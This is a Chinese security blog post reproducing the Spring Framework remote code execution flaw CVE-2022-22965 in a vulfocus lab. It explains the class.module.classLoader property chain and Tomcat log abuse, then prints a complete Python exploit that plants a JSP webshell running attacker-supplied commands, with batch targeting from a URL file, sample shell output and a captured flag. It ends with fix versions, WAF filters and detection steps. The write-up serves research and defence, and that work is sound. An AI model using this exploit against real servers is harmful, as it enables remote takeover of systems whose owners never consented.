Spring Framework RCE漏洞复现

admin 2025年2月22日00:40:20评论11 views字数 6028阅读20分5秒阅读模式

1. 漏洞简介

Spring Core Framework是一个用于基于Java的开源企业应用程序的编程和配置模型,提供了IOC、AOP及MVC等功能,解决了程序人员在开发中遇到的常见问题,提高了应用程序开发便捷度和软件系统构建效率。

漏洞结合了JDK9及以上版本一个新的属性,成功绕过历史漏洞CVE-2010-1622修复JavaBean参数绑定规则漏洞的补丁,同时结合Tomcat容器的一些操作属性,实现GetShell。当然Weblogic、Jetty等其他Java中间件或应用程序也可能构建出完整利用链,但目前还未公布。

漏洞编号:

  • CVE-2022-22965

  • CNVD-2022-23942

漏洞评分:暂无

漏洞等级:暂无官方漏洞危害定级

发现时间:2022.03.29

漏洞条件:

  • JDK 9 及其以上版本;

  • Apache Tomcat 作为 Servlet 容器;

  • Spring Framework 版本 5.3.0 到 5.3.17,5.2.0 到 5.2.19 以及更早的版本;

  • spring-webmvc 或 spring-webflux 依赖项

  • 业务以war包形式部署

  • 然而,该漏洞的性质更为普遍,可能还有其他尚未报告的方法来利用它。

2. 漏洞检测

漏洞环境可以使用reznok的dockerfile;

也可以使用vulfocus的docker环境;

在漏洞环境中,提交class.module.classLoader参数可以获取ClassLoader对象,调试发现在对BeanInfo赋值过程中,CachedIntrospectionResults中会加载class org.apache.catalina.loader. ParallelWebappClassLoader对象,可以绕过cve-2010-1622补丁中的黑名单检查。

至少有300个满足class.module.classLoader条件的链式调用的属性,可以被操控:

class.module.classLoader.resources.context.parent.workDir
class.module.classLoader.resources.context.parent.copyXML
class.module.classLoader.resources.context.parent.deployOnStartup
class.module.classLoader.resources.context.parent.contextClass
class.module.classLoader.resources.context.parent.appBase
class.module.classLoader.resources.context.parent.createDirs
class.module classLoader.resources.context.parent.configClass
class.module.classLoader.resources.context.parent.xmlBase
class.module.classLoader.resources.context.parent.autoDeploy
class.module.classLoader.resources.context.parent.deploylgnore
class.module.classLoader.resources.context.parent.unpackWARs
class.module.classLoader.resources.context.parent.deployXML
class.module.classLoader.resources.context.parent.errorReportValveClass
class.module.classLoader.resources.context.parent.undeployOldVersions
class.module.classLoader.resources.context.parent.startChildren
class.module.classLoader.resources.context.parent.startStopThreads
class.module.classLoader.resources.context.parent.backGroundProcessorDelay
class.module.classLoader.resources.context.parent.domain
class.module.classLoader.resources.context.parent.throwOnFailure
class.module.classLoader.resources.context.parent.configBaseFile.writable
class.module.classLoader.resources.context.parent.configBaseFile.readable
class.module.classLoader.resources.context.parent.configBaseFile.executable
class.module.classLoader.resources.context.parent.configBaseFile.parentFile.writable
class.module.classLoader.resources.context.parent.configBaseFile.parentfile.readable
...

其中的 class.module.classLoader.resources.context.parent.pipeline.first.* 对应于 AccessLogValve 类,主要用于存放 Tomcat 日志操作的相关属性:

//日志保存目录默认为logs
class.module.classLoader.resources.context.parent.pipeline.first.directory
//日志文件名前缀默认为localhost_access_log
class.module.classLoader.resources.context.parent.pipeline.first.prefix
//日志文件名后缀默认为.txt
class.module.classLoader.resources.context.parent.pipeline.first.suffix
//日志文件名日期格式默认为.yyyy-mm-dd
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

链式调用:

getClass() -> LoginControllergetModule() -> ModulegetClassLoader() -> ParallelWebappClassLoadergetResources() -> StandardRootgetContext() -> StandardContextgetParent() -> StandardEnginegetPipeline() -> PipelinegetFirst() -> AccessLogValve

通过修改日志后缀名、文件名称、存放位置等属性,可以写入jsp的webshell。

需要注意的是,由于Tomcat稍微新一点的版本出于安全性考虑,无法直接在URL中携带<{等特殊字符(否则返回400),我们可以通过

class.module.classLoader.resources.context.parent.pipeline.first.pattern

属性来修改日志记录的格式,从而变向写入webshell。

exp:需要日志记录功能开启(默认开启)

#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
   headers = {"suffix":"%>//",
               "c1":"Runtime",
               "c2":"<%",
               "DNT":"1",
               "Content-Type":"application/x-www-form-urlencoded"
  }

   data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

   try:
       go = requests.post(url,headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
       shellurl = urljoin(url, 'tomcatwar.jsp')
       shellgo = requests.get(shellurl, timeout=15, allow_redirects=False, verify=False)
       if shellgo.status_code == 200:
           print(f"The vulnerability exists, the shell address is :{shellurl}?pwd=j&cmd=whoami")
   except Exception as e:
       print(e)
       pass

def main():
   parser = argparse.ArgumentParser(description='Spring-Core Rce.')
   parser.add_argument('--file', help='url file', required=False)
   parser.add_argument('--url', help='target url', required=False)
   args = parser.parse_args()
   if args.url:
       Exploit(args.url)
   if args.file:
       with open (args.file) as f:
           for i in f.readlines():
               i = i.strip()
               Exploit(i)

if __name__ == '__main__':
   main()

运行:

└─$ python3 exp.py --url http://10.0.0.128:8080
漏洞存在,shell地址为:http://10.0.0.128:8080/tomcatwar.jsp?pwd=j&cmd=whoami

此处密码设置为"j",但脚本存在一个问题,内容明文显示,所以密码没有设置意义,待完善。

vulfocus flag:

 http://10.0.0.128:8080/tomcatwar.jsp?pwd=j&cmd=ls%20/tmp
flag-{bmh5a429bb1-9620-4585-8663-0a91bccc47b1}

3. 漏洞修复

Spring Framework 5.3.18 和 5.2.20 已修复漏洞;

Spring Boot 2.6.6 和 2.5.12 (均依赖 Spring Framework 5.3.18)已修复漏洞;

对于拥有 WAF 技术的组织,字符串过滤器提供了有效的威慑,"class."、"Class."、".class."和".Class."。

4. 攻击排查

1、流量排查:攻击者的数据包中可能存在"class.*","*.class.*","class.module.*"字样或对该字样进行URL编码的变种字样,同时这些字样对大小写不敏感。推荐使用奇安信网神网站应用安全云防护系统全流量或WAF设备进行检索排查。

2、日志排查:查看tomcat的AccessLog中是否缺失最近日志记录,同时排查Tomcat相关web应用目录下是否存在可疑后门文件。

参考:

  • http://cn-sec.com/archives/860696.html

  • https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

  • https://www.oschina.net/news/189050/spring-core-vulnerability-maybe-is-fake-news

  • https://github.com/TheGejr/SpringShell

  • https://cn-sec.com/archives/860681.html

原文始发于微信公众号(CTS纵横安全实验室):Spring Framework RCE漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月22日00:40:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Framework RCE漏洞复现https://cn-sec.com/archives/864150.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息